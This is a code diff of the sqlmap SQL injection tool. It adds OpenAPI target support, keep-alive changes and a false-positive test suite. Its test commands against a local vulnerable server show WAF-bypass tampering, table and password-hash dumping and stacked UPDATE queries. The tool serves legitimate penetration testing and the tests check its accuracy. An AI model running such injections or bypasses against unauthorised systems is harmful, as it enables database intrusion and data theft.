# warn instead of silently ignoring the user's '--tamper'
|
||||||
|
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)):
|
||||||
|
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_))
|
||||||
|
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
|
||||||
|
warnMsg += "will be ignored by the '--%s' engine" % engine
|
||||||
|
logger.warning(warnMsg)
|
||||||
|
|
||||||
if resolve_priorities and priorities:
|
if resolve_priorities and priorities:
|
||||||
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
|
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
|
||||||
kb.tamperFunctions = []
|
kb.tamperFunctions = []
|
||||||
|
|
@ -1249,10 +1322,12 @@ def _setHTTPHandlers():
|
||||||
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
|
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
|
||||||
|
|
||||||
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
|
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
|
||||||
# Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
|
# Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s)
|
||||||
# and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
|
# proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled
|
||||||
# or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
|
# socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled
|
||||||
conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
|
# when incompatible (authentication methods, or chunked transfer-encoding of the request body -
|
||||||
|
# handled by a dedicated, non-pooling handler)
|
||||||
|
conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked
|
||||||
|
|
||||||
if conf.keepAlive:
|
if conf.keepAlive:
|
||||||
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
|
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
|
||||||
|
|
@ -1261,8 +1336,8 @@ def _setHTTPHandlers():
|
||||||
handlers.remove(httpsHandler)
|
handlers.remove(httpsHandler)
|
||||||
handlers.append(keepAliveHandler)
|
handlers.append(keepAliveHandler)
|
||||||
handlers.append(keepAliveHandlerHTTPS)
|
handlers.append(keepAliveHandlerHTTPS)
|
||||||
elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
|
elif not conf.noKeepAlive and (conf.authType or conf.chunked):
|
||||||
reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
|
reason = "authentication methods" if conf.authType else "chunked transfer-encoding"
|
||||||
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
|
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
@ -1841,7 +1916,7 @@ def _cleanupOptions():
|
||||||
if conf.tmpPath:
|
if conf.tmpPath:
|
||||||
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
||||||
|
|
||||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)):
|
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)):
|
||||||
conf.multipleTargets = True
|
conf.multipleTargets = True
|
||||||
|
|
||||||
if conf.optimize:
|
if conf.optimize:
|
||||||
|
|
@ -2717,8 +2792,8 @@ def _basicOptionValidation():
|
||||||
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
|
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
|
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)):
|
||||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
|
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.api and not conf.configFile:
|
if conf.api and not conf.configFile:
|
||||||
|
|
@ -3011,7 +3086,7 @@ def init():
|
||||||
|
|
||||||
parseTargetDirect()
|
parseTargetDirect()
|
||||||
|
|
||||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)):
|
||||||
_setHostname()
|
_setHostname()
|
||||||
_setHTTPTimeout()
|
_setHTTPTimeout()
|
||||||
_setHTTPExtraHeaders()
|
_setHTTPExtraHeaders()
|
||||||
|
|
@ -3027,6 +3102,7 @@ def init():
|
||||||
_doSearch()
|
_doSearch()
|
||||||
_setStdinPipeTargets()
|
_setStdinPipeTargets()
|
||||||
_setBulkMultipleTargets()
|
_setBulkMultipleTargets()
|
||||||
|
_setOpenApiTargets()
|
||||||
_checkTor()
|
_checkTor()
|
||||||
_setCrawler()
|
_setCrawler()
|
||||||
_findPageForms()
|
_findPageForms()
|
||||||
|
|
|
||||||
|
|
@ -19,6 +19,8 @@ optDict = {
|
||||||
"sessionFile": "string",
|
"sessionFile": "string",
|
||||||
"googleDork": "string",
|
"googleDork": "string",
|
||||||
"configFile": "string",
|
"configFile": "string",
|
||||||
|
"openApiFile": "string",
|
||||||
|
"openApiBase": "string",
|
||||||
},
|
},
|
||||||
|
|
||||||
"Request": {
|
"Request": {
|
||||||
|
|
@ -282,6 +284,7 @@ optDict = {
|
||||||
"forceDns": "boolean",
|
"forceDns": "boolean",
|
||||||
"murphyRate": "integer",
|
"murphyRate": "integer",
|
||||||
"smokeTest": "boolean",
|
"smokeTest": "boolean",
|
||||||
|
"fpTest": "boolean",
|
||||||
"apiTest": "boolean",
|
"apiTest": "boolean",
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.10.7.0"
|
VERSION = "1.10.7.22"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
|
|
@ -141,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver
|
||||||
# Upper threshold for starting the fuzz(y) UNION test
|
# Upper threshold for starting the fuzz(y) UNION test
|
||||||
FUZZ_UNION_MAX_COLUMNS = 10
|
FUZZ_UNION_MAX_COLUMNS = 10
|
||||||
|
|
||||||
|
# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
|
||||||
|
FUZZ_UNION_MAX_REQUESTS = 80
|
||||||
|
|
||||||
# Regular expression used for recognition of generic maximum connection messages
|
# Regular expression used for recognition of generic maximum connection messages
|
||||||
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
|
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
|
||||||
|
|
||||||
|
|
@ -713,7 +716,10 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\
|
||||||
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
|
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
|
||||||
|
|
||||||
# Patterns often seen in HTTP headers containing custom injection marking character '*'
|
# Patterns often seen in HTTP headers containing custom injection marking character '*'
|
||||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
|
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
|
||||||
|
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
|
||||||
|
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
|
||||||
|
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
|
||||||
|
|
||||||
# Template used for common table existence check
|
# Template used for common table existence check
|
||||||
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
||||||
|
|
|
||||||
|
|
@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.utils.hashdb import HashDB
|
from lib.utils.hashdb import HashDB
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
from thirdparty.six.moves import urllib as _urllib
|
from thirdparty.six.moves import urllib as _urllib
|
||||||
|
|
||||||
def _setRequestParams():
|
def _setRequestParams():
|
||||||
|
|
|
||||||
|
|
@ -41,12 +41,12 @@ from lib.core.patch import unisonRandom
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import RESTAPI_VERSION
|
from lib.core.settings import RESTAPI_VERSION
|
||||||
|
|
||||||
def vulnTest():
|
def vulnTest(tests=None, label="vuln"):
|
||||||
"""
|
"""
|
||||||
Runs the testing against 'vulnserver'
|
Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
TESTS = (
|
TESTS = tests if tests is not None else (
|
||||||
("-h", ("to see full list of options run with '-hh'",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||||
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||||
|
|
@ -63,7 +63,7 @@ def vulnTest():
|
||||||
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
|
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
|
||||||
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
|
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
|
||||||
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
|
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
|
||||||
("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
|
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
|
||||||
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
|
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
|
||||||
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
|
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
|
||||||
("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
|
|
@ -73,7 +73,7 @@ def vulnTest():
|
||||||
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
|
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
|
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
|
||||||
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||||
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
|
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
|
||||||
|
|
@ -83,7 +83,7 @@ def vulnTest():
|
||||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
|
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
|
||||||
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
|
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
|
||||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
||||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||||
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||||
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
|
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
|
||||||
|
|
@ -97,7 +97,7 @@ def vulnTest():
|
||||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")),
|
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
@ -263,9 +263,9 @@ def vulnTest():
|
||||||
|
|
||||||
clearConsoleLine()
|
clearConsoleLine()
|
||||||
if retVal:
|
if retVal:
|
||||||
logger.info("vuln test final result: PASSED")
|
logger.info("%s test final result: PASSED" % label)
|
||||||
else:
|
else:
|
||||||
logger.error("vuln test final result: FAILED")
|
logger.error("%s test final result: FAILED" % label)
|
||||||
|
|
||||||
for filename in cleanups:
|
for filename in cleanups:
|
||||||
try:
|
try:
|
||||||
|
|
@ -280,6 +280,31 @@ def vulnTest():
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def fpTest():
|
||||||
|
"""
|
||||||
|
On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that
|
||||||
|
each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware
|
||||||
|
comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics),
|
||||||
|
paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin.
|
||||||
|
Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'.
|
||||||
|
"""
|
||||||
|
|
||||||
|
FP_TESTS = (
|
||||||
|
# false-positive traps -> sqlmap MUST NOT flag these as injectable
|
||||||
|
("-u \"<base>fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives
|
||||||
|
("-u \"<base>fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison
|
||||||
|
("-u \"<base>fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true)
|
||||||
|
("-u \"<base>fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling
|
||||||
|
("-u \"<base>fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity
|
||||||
|
("-u \"<base>fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics
|
||||||
|
("-u \"<base>fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model
|
||||||
|
# true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+)
|
||||||
|
("-u <url> -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")),
|
||||||
|
("-u \"<url>&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)),
|
||||||
|
)
|
||||||
|
|
||||||
|
return vulnTest(tests=FP_TESTS, label="fp")
|
||||||
|
|
||||||
def apiTest():
|
def apiTest():
|
||||||
"""
|
"""
|
||||||
Runs a basic live test of the REST API: launches the server in a separate process
|
Runs a basic live test of the REST API: launches the server in a separate process
|
||||||
|
|
|
||||||
|
|
@ -144,6 +144,12 @@ def cmdLineParser(argv=None):
|
||||||
target.add_argument("-c", dest="configFile",
|
target.add_argument("-c", dest="configFile",
|
||||||
help="Load options from a configuration INI file")
|
help="Load options from a configuration INI file")
|
